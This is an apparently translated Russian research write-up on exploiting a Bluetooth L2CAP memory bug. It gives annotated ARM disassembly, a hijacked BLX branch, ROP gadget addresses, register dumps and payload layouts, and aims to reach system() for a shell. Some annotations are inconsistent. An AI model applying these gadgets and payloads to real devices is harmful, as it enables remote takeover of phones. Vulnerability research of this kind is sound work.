0 .text:0x0010312A LDR R0, [R4,#0x44] ⇒ Загрузить R4 + 0x44 в R0 ⇒ Загрузить R0 = list_t* p_lcb->link_xmit_data_q из R4 + 0x44 .text:0x0010312C BL list_append ⇒ Вызов с возвратом в list_append
Перед вызовом list_append регистры содержат:
Дизассемблирование функции list_append:
.text:0x001298A0 PUSH {R4,R5,R7,LR} .text:0x001298A2 SUB SP, SP, #0x138 .text:0x001298A4 MOV R4, R0 ⇒ Переместить R4 в R0 ⇒ Установить R4 = R0 = list_t* p_lcb->link_xmit_data_q .text:0x001298A6 LDR R0, =(stack_canary_1A2718 - 0x1298B0) .text:0x001298A8 MOV R5, R1 ⇒ Переместить R1 в R5 ⇒ Установить R5 = R1 = BT_HDR* p_buf .text:0x001298AA CMP R4, #0 ⇒ Проверить R4 = 0 ⇒ Проверить, равен ли list_t* p_lcb->link_xmit_data_q null .text:0x001298AC ADD R0, PC ; stack_canary_1A2718 .text:0x001298AE LDR R0, [R0] ⇒ .text:0x001298B0 LDR R0, [R0] ⇒ .text:0x001298B2 STR R0, [SP,#0x148+stack_canary] ⇒ .text:0x001298B4 BNE loc_1298CA ⇒ Проверить CMP ⇒ Переход, если list_t* p_lcb->link_xmit_data_q не null .text:0x001298CA loc_1298CA ⇒ .text:0x001298CA CBNZ R5, loc_1298E0 ⇒ Переход, если R5 не null ⇒ Переход, если BT_HDR* p_buf не null .text:0x001298E0 loc_1298E0 ⇒ .text:0x001298E0 LDR R0, [R4,#0x10] ⇒ Загрузить R0 из R4+0x10 ⇒ Установить R0 = list->allocator .text:0x001298E2 LDR R1, [R0] ⇒ Загрузить R1 из R0 ⇒ Установить R1 = list->allocator->alloc .text:0x001298E4 MOVS R0, #8 ⇒ Переместить 8 в R0 ⇒ Установить R0 = sizeof(list_node_t) .text:0x001298E6 BLX R1 ⇒ Ветвление с обменом и возвратом на R1 ⇒ Ветвление на контролируемый R1 !!!
Перед контролируемым переходом на R1 регистры содержат:
Чтобы найти начало первой полезной нагрузки в list_t* p_lcb->link_xmit_data_q, на который указывает R4, мы использовали гаджет ldm, найденный по адресу 0x00125734:
0x00125734 : ldm r4, {r0, r1, r2, r3, r5, r6, r7, sb, sl, ip, sp, lr, pc}
Целевой сбой со следующим содержимым регистров:
R4 = ade05278 = list_t* p_lcb->link_xmit_data_q с первой полезной нагрузкой по + 0x894C (0x894C / 0x360 = 0x28 = 40 пакетов, где мы можем получить доступ ко второй полезной нагрузке)
R0 = R4 + 0x0 = 0020de08
R1 = R4 + 0x4 = dead0000 = значение первой полезной нагрузки + 0x0
R2 = R4 + 0x8 = dead0001 = значение первой полезной нагрузки + 0x4
R3 = R4 + 0xC = dead0002 = значение первой полезной нагрузки + 0x8
R5 = R4 + 0x10 = ade0db14 = значение первой полезной нагрузки + 0xC = адрес второй полезной нагрузки + 0x0
R6 = R4 + 0x14 = dead0003 = значение первой полезной нагрузки + 0x10
R7 = R4 + 0x18 = 00200004
R9 (SB) = R4 + 0x1C = dead0000 = значение первой полезной нагрузки + 0x0
R10 (SL) = R4 + 0x20 = dead0001 = значение первой полезной нагрузки + 0x4
R12 (IP) = R4 + 0x24 = dead0002 = значение первой полезной нагрузки + 0x8
R13 (SP) = R4 + 0x2C = ade0db14 = значение первой полезной нагрузки + 0xC = адрес второй полезной нагрузки + 0x0
R14 (LR) = R4 + 0x30 = dead0003 = значение первой полезной нагрузки + 0x10
Первая полезная нагрузка повторяется каждые 0x14 байт, что является размером структуры list_t.
typedef struct list_t { list_node_t* head; | Размер 0x4 | Смещение 0x0 | заголовок L2CAP не используется list_node_t* tail; | Размер 0x4 | Смещение 0x4 | значение первой полезной нагрузки + 0x0 size_t length; | Размер 0x4 | Смещение 0x8 | значение первой полезной нагрузки + 0x4 list_free_cb free_cb; | Размер 0x4 | Смещение 0xC | значение первой полезной нагрузки + 0x8 const allocator_t* allocator; | Размер 0x4 | Смещение 0x10 | значение первой полезной нагрузки + 0xC } list_t; | Размер 0x14
Чтобы найти начало второй полезной нагрузки в BT_HDR* p_buff, на который указывает R5, мы использовали гаджет ldm, найденный по адресу 0x000dcecc:
0x000dcecc : ldm r5, {r2, r3, r4, r6, r7, r8, lr, pc}
Целевой сбой со следующим содержимым регистров:
В этой инструкции множественной загрузки нет инкремента, и мы видим, что содержимое BT_HDR* p_buff + 0x0 равно: 000e0000 00000000 000a2002 00010006 0002020a 00000002
Тот же тест с множественной загрузкой с инкрементом перед гаджетом, найденным по адресу 0x0014b580: 0x0014b580 : ldmib r5, {r1, r2, r3, r4, r7, r8, sl, fp, sp, pc} ^
Целевой сбой со следующим логом:
После сбоя регистры содержат:
Содержимое BT_HDR* p_buff + 0x4 для инкремента: 00000000 000a2002 00010006 0002020a 96300002 dead0007 dead0008 dead0009 dead000a
Мы видим, что вторая полезная нагрузка находится по смещению + 0x14 в BT_HDR* p_buff.
########################################################################################
НАПИСАНИЕ ROP-ЦЕПОЧКИ
########################################################################################
Как и Jan Ruge с библиотекой libicuuc, в Bluetooth у нас есть доступ только к dlsym для поиска адреса system, чтобы запустить оболочку.
Процесс эксплуатации выглядит следующим образом:- Получить адрес записи очереди буфера передачи данных ссылки по смещению памяти 180 и вычислить базовый адрес пакета с - 176
См. код для пояснений
########################################################################################